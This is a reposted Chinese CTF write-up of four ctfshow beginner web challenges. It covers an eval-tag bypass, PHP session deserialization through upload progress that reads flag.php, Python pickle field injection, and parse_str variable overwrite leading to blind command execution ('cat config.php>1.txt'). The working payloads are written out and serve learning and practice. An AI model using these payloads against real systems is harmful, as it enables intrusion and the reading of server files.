文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ctfshow新手杯(web)

2023-09-09 05:33

关注

前言

前天ctfshow举办的新手杯,里面的部分web题对于我来说还是有必要记录一下的。里面的大师傅都太强了。

easy_eval

web签到题,打开题目一段代码:

".$code);}

有?>将eval函数进行闭合,eval函数失去了作用,所以我们需要补上php标签,其中我们输入不能有问号。所以用javascript的标签来代替php的,上payload:

成功得到flag。

剪刀石头布 (session反序列化)

题目是与机器人猜拳的游戏,赢一百次得flag。这里直接show source查看源码。 由于代码太多,这里只放关键代码。  

ini_set('session.serialize_handler', 'php');    if(isset($_POST['source'])){        highlight_file(__FILE__);    phpinfo();

这里在当前页面设置的处理器为php,题目中也给出了phpinfo();页面,我们找出相关配置信息。

这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。

class Game{        public $log,$name,$play;        public function __construct($name){            $this->name = $name;            $this->log = '/tmp/'.md5($name).'.log';        }public function __destruct(){                echo "
Game History
\n"; echo "
\n"; echo file_get_contents($this->log); echo "
"; } }

在__destruct方法中有file_get_contents函数可以来读取flag.所以这题主要思路就是构造序列化串利用服务器处理器不同造成的安全问题通过 PHP_SESSION_UPLOAD_PROGRESS来提交我们的序列化串。 在这里对session反序列化进行简单说明。网上相关讲解也很多。

php在session存储和读取的时候会自动进行序列化和反序列化,当然,这是前提。而php又有不同的php处理器来处理这些序列化串,主要有三种php处理器。

php_serialize        //经过serialize函数序列化数组php                  //键名+竖线+serialize函数处理的值php_binary           //键名对应的长度的ascli字符+键名+serialize序列化的值

这样说还是比较抽象,直接举个例子。

当我们get传入数据后,会在服务器的tmp目录下生成sess_开头的临时文件,查看临时文件得到这样的反序列化数据。

php模式下;

php_binary模式下:

在php模式下|分割了键名和键值,php会反序列化|后面的键值,那么好,回到题目来,我们修改类属性。

log = "/var/www/html/flag.php";    }}$a = new Game();echo serialize($a);//|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}?>

 在服务器php_serialize处理下存储该序列化串,管道符只是一个普通的字符存放在属性值里。而后在读取中又经过了php配置处理,这时候管道符就成了分割键名和键值的分割线了。管道符后面的内容也就被成功的反序列化了,成功达到读取flag的目的。最后就是利用session上传进度提交我们的序列化串了,网上白嫖提交页面。

接着上传文件,抓包改数据包,修改文件名为序列化串。

发包成功得到flag。

baby_pickle

出题人说灵感来自php的字符逃逸,挺会玩。题目直接给了源码。

import base64import pickle, pickletoolsimport uuidfrom flask import Flask, requestapp = Flask(__name__)id = 0flag = "ctfshow{" + str(uuid.uuid4()) + "}"class Rookie():    def __init__(self, name, id):        self.name = name        self.id = id@app.route("/")def agent_show():    global id    id = id + 1    if request.args.get("name"):        name = request.args.get("name")    else:        name = "new_rookie"    new_rookie = Rookie(name, id)    try:        file = open(str(name) + "_info", 'wb')        info = pickle.dumps(new_rookie, protocol=0)        info = pickletools.optimize(info)        file.write(info)        file.close()    except Exception as e:        return "error"    with open(str(name)+"_info", "rb") as file:        user = pickle.load(file)    message = "

欢迎来到新手村" + user.name + "

\n

" + "只有成为大菜鸡才能得到flag" + "

" return message@app.route("/dacaiji")def get_flag(): name = request.args.get("name") with open(str(name)+"_info", "rb") as f: user = pickle.load(f) if user.id != 0: message = "

你不是大菜鸡

" return message else: message = "

恭喜你成为大菜鸡

\n

" + flag + "

" return message@app.route("/change")def change_name(): name = base64.b64decode(request.args.get("name")) newname = base64.b64decode(request.args.get("newname")) file = open(name.decode() + "_info", "rb") info = file.read() print("old_info ====================") print(info) print("name ====================") print(name) print("newname ====================") print(newname) info = info.replace(name, newname) print(info) file.close() with open(name.decode()+ "_info", "wb") as f: f.write(info) return "success"if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)

flask框架,看路由。/路由下,get方式传入name,同时对id+1,并且对Rookie类进行序列化存放在文件中,在/dacaiji路由下,对文件里的序列化串进行反序列化,判断id,若为0则给出flag。然而id我们不可控,而且id初始不可能为0。接下来就是本题的重点,/change路由。修改name的值,我们先把此代码放在本地运行。

我们输入name为123查看本地生成的文件的内容。

生成了123.info文件。则里面的内容为:

ccopy_reg_reconstructor(c__main__Rookiec__builtin__objectNtR(dVnameV123sVidI2sb.

 可以看到这里id是等于2的,后面的sb.可相当于结束序列化流程的。现在我们可控的是name的值,根据php反序列化字符逃逸的思想,我们需要扔掉sVid\nI2\nsb.那么name的值就该为123\nsVid\nI0\nsb.那么这样我们就间接更改了id的值了。那么接下来在/change路由对name进行改值了。

本地测试成功。注意base64编码的时候字符串要换行,而不是添加\n,不然会当成普通字符串了。当然题目也打出来了,也不放截图了。

repairman (parse_str函数变量覆盖)

看了wp有种恍然大悟的感觉。

传入mode=0得到源码:

hello,the user!We may change the mode to repaie the server,please keep it unchanged';    }else{        header('refresh:5;url=index.php?mode=1');        exit;    } 

代码的逻辑很简单。我们需要走进admin的分支,因为test分支只能通过字母数字执行命令,而且无回显,这貌似是不可能的。那么就需要让$secret等于md5('admin'.$config['secret']),secret变量我们完全可控,只是$config['secret']我们目前还不知道。接下来就是本题的重点了,

if(empty($mode)){    $url = parse_url($_SERVER['REQUEST_URI']);    parse_str($url['query']);    if(empty($mode)) {        echo 'Your mode is the guest!';    }}

我当时就挺纳闷的这段代码有什么用,还是太菜了没往这方面想。parse_str函数是可以进行变量覆盖的。

啥都不说,先本地测试一下。

 

真的变量覆盖了,那么根据这个方式,我们可以直接覆盖掉$config['secret']的值,也就相当于可控了。那么直接上payload了。

?mode=0&config[secret]=boy&secret=a190a8e2dfc19f8efe1ecb0c4e625994

 这就进入到admin模式,接着就是执行命令了,exec($cmd)无回显,当然这对于我们来说已经不算难题了。直接post对cmd传参。

cmd=cat config.php>1.txt

成功得到flag。

结语

还有最后一道web,看了官方wp,有种本能的抗拒。这种题涉及的知识点超出了我的学习范围。还得继续积累知识,向大师傅们学习。

来源地址:https://blog.csdn.net/m0_62422842/article/details/127195300

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯